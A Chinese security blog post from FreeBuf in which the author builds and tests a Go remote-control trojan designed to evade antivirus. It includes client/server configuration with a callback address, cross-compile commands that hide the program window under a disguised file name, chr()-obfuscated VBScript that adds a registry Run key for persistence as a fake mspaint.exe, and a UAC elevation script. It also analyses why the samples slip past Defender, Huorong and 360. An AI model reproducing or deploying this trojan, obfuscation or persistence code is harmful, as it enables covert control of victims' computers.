freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

技术研究 | Go免杀与远控初次实践
2020-08-10 14:27:18

GoHackPS:本文仅用于技术学习与讨论,严禁用于任何非法用途,违者后果自负。本文的核心基础是参考学习了这篇文档,各位可以先学习一下大神的思路;我是站在巨人的肩膀上记录一下自己的尝试过程。

我的物理机:MAC系统(扮演攻击者);

我的测试机:PD虚机安装3个win10系统;(一个虚机A安装了360全家桶+火绒+WD的秒杀效果;另一个虚机B只测试win10自带的WD免杀效果;最后一个虚机C用来完善最终go编译的exe文件的版本信息及图标;备注:也可以不用这么麻烦,就一个系统直接测试编译也行记得做系统快照,这样恢复起来非常方便;)

一、学习并实践大神的思路

1.新建并在MAC上运行server端,另一个client端编程成exe,然后在任何一个测试机上面进行测试(一定要先将所有杀毒软件关闭,本次只实验代码效果是否可以成功运行);

server.go

var (
inputIP = flag.String("IP", "0.0.0.0", "Listen IP")//修改自定监听的网卡
inputPort = flag.String("PORT", "5353", "Listen Port")//修改自定监听端口
connPwd = flag.String("PWD", "18Sd9fkdkf9", "Connection Password")//client与server连接使用的密码,保持一致

server start2.输入 "session"回车,查看前连接的客户端有哪些;
3.新建client,编译exe程序
client.go

const (
	IP      = "10.211.55.2:5353" //攻击者的回连目的ip地址(MAC系统的ip)
	CONNPWD = "18Sd9fkdkf9"//回连使用的认证密码
)

因为我是在MAC上面跨平台编译exe,而大神可能是在win下面编译exe,所以跨平台编译需要使用一些小技巧;

➜ #:CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H=windowsgui" -o GNUToolsNoAdmin.exe

 //设置go env环境,是的本次编译目标程序是win系统,64位应用;
CGO_ENABLED=0  GOOS=windows GOARCH=amd64 

 //增加-s -w -H=windowsgui  这样默认应用程序启动后会隐藏界面,更佳隐蔽;
go build -ldflags "-s -w -H=windowsgui" -o GNUToolsNoAdmin.exe


课外知识点补充:

一、Mac 下编译 Linux 和 Windows 64位可执行程序
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

二、Linux 下编译 Mac 和 Windows 64位可执行程序
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

三、Windows 下编译 Mac 和 Linux 64位可执行程序
SET CGO_ENABLED=0
SET GOOS=darwin
SET GOARCH=amd64
go build main.go

SET CGO_ENABLED=0
SET GOOS=linux
SET GOARCH=amd64
go build main.go

4.运行client,查看效果

关闭A/B系统的安全防护程序并运行GNUToolsNoAdmin.exe,查看server端
可以看到,client连接后,server默认会有连接提醒;通过使用session命令,输入1与其建立连接,测试截图功能;
大神的思路尝试完成;效果已经成功;下一步是分析一下大神的代码内容,并再次尝试代码是如何实现免杀的(大神的代码win10自带的防护WD会有警告,但是默认不删除!360会报毒同时删除过程中的临时脚本!)

二、代码分析(本次只分析client.go代码;)

因为代码比较简单移动,节约时间我就说一下client代码运行的基本流程
1.重点分析其中的免杀vbs脚本内容

2.程序运行过程中生成了两个vbs脚本,先贴一下最终人类能看懂“翻译过来”的脚本内容

add.vbs:

Set objWsh = CreateObject("WScript.Shell")
objWsh.Run "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide
objWsh.Run "test.vbs reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide



test.vbs:

Set UAC = CreateObject("Shell.Application")  
Set Shell = CreateObject("WScript.Shell")  
If WScript.Arguments.count<1 Then  
    WScript.echo "语法:  sudo <command> [args]"  
ElseIf WScript.Arguments.count=1 Then  
    UAC.ShellExecute WScript.arguments(0), "", "", "runas", 1  
'    WScript.Sleep 1500  
'    Dim ret  
'    ret = Shell.Appactivate("用户账户控制")  
'    If ret = true Then  
'        Shell.sendkeys "%y"          
'    Else  
'        WScript.echo "自动获取管理员权限失败,请手动确认。"  
'    End If  
Else  
    Dim ucCount  
    Dim args  
    args = NULL  
    For ucCount=1 To (WScript.Arguments.count-1) Step 1  
        args = args & " " & WScript.Arguments(ucCount)  
    Next  
    UAC.ShellExecute WScript.arguments(0), args, "", "runas", 5  
End If  

3.再粘贴一下代码中vbs脚本原文

add.vbs:
execute(chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(79)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(87)&chr(83)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108)&chr(34)&chr(41)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(116)&chr(101)&chr(115)&chr(116)&chr(46)&chr(118)&chr(98)&chr(115)&chr(32)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101))

test.vbs:
execute(chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(79)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(87)&chr(83)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108)&chr(34)&chr(41)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(116)&chr(101)&chr(115)&chr(116)&chr(46)&chr(118)&chr(98)&chr(115)&chr(32)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101))

4.说明一下为什么编码的脚本也能运行:5.再说明一下我是如何进行翻译的:在线工具网站

add.vbs为例:
1.代码原文
execute(chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)....&chr(104)&chr(105)&chr(100)&chr(101))

2.去掉无用字符
chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)....&chr(104)&chr(105)&chr(100)&chr(101)
3.搜索替换格式化
83`101`116`32`111`98`106`87`115`104`32`61`32`67....104`105`100`101

4.打开在线工具网站
S`e`t` `o`b`j`W`s`h` `=` `C.....

5.再次格式化生产最终版本
Set objWsh = C....

6.脚本翻译完成,简单看看脚本内容;(只看add.vbs注册表修改这块)

add.vbs:

Set objWsh = CreateObject("WScript.Shell")
objWsh.Run "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide
objWsh.Run "test.vbs reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide

核心内容:修改注册表,开机程序自启;同时设置执行脚本是页面自动隐藏(vbhide==0   写成0也是可以的,因为这个变量“vbhide”没有指明,所以默认值为0);

7.说说我认为可能起到免杀的原因吧

(1)这个vbs编码也是代码中想实现免杀的一部分,且确实有一定功效(WD发现了且说明可能有一定危害,但是没有删除;火绒默认放行vbs和程序;360对这个add.vbs直接查杀但是对exe放行);
(2)GO编译出来的程序没有用到其他msf等常用且重点关注的payload,所以程序的特征码应该不在病毒名单中;
(3)但是还是不完美,360对于vbs文件和注册表查杀效果太严,后面考虑如何再次对脚本编码,或者再查查其他方法;

三、GO编译exe后完善版本信息及以管理员方式启动应用(另起一篇单独完善)

1.为了将编译后的exe伪装的和正常程序相似,我们可以完善应用的信息及图标(甚至尝试签名)

2.对应用启动时自动请求管理员权限,这样也可以再搞搞其他事情;

# 远控 # 免杀 # go语言
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者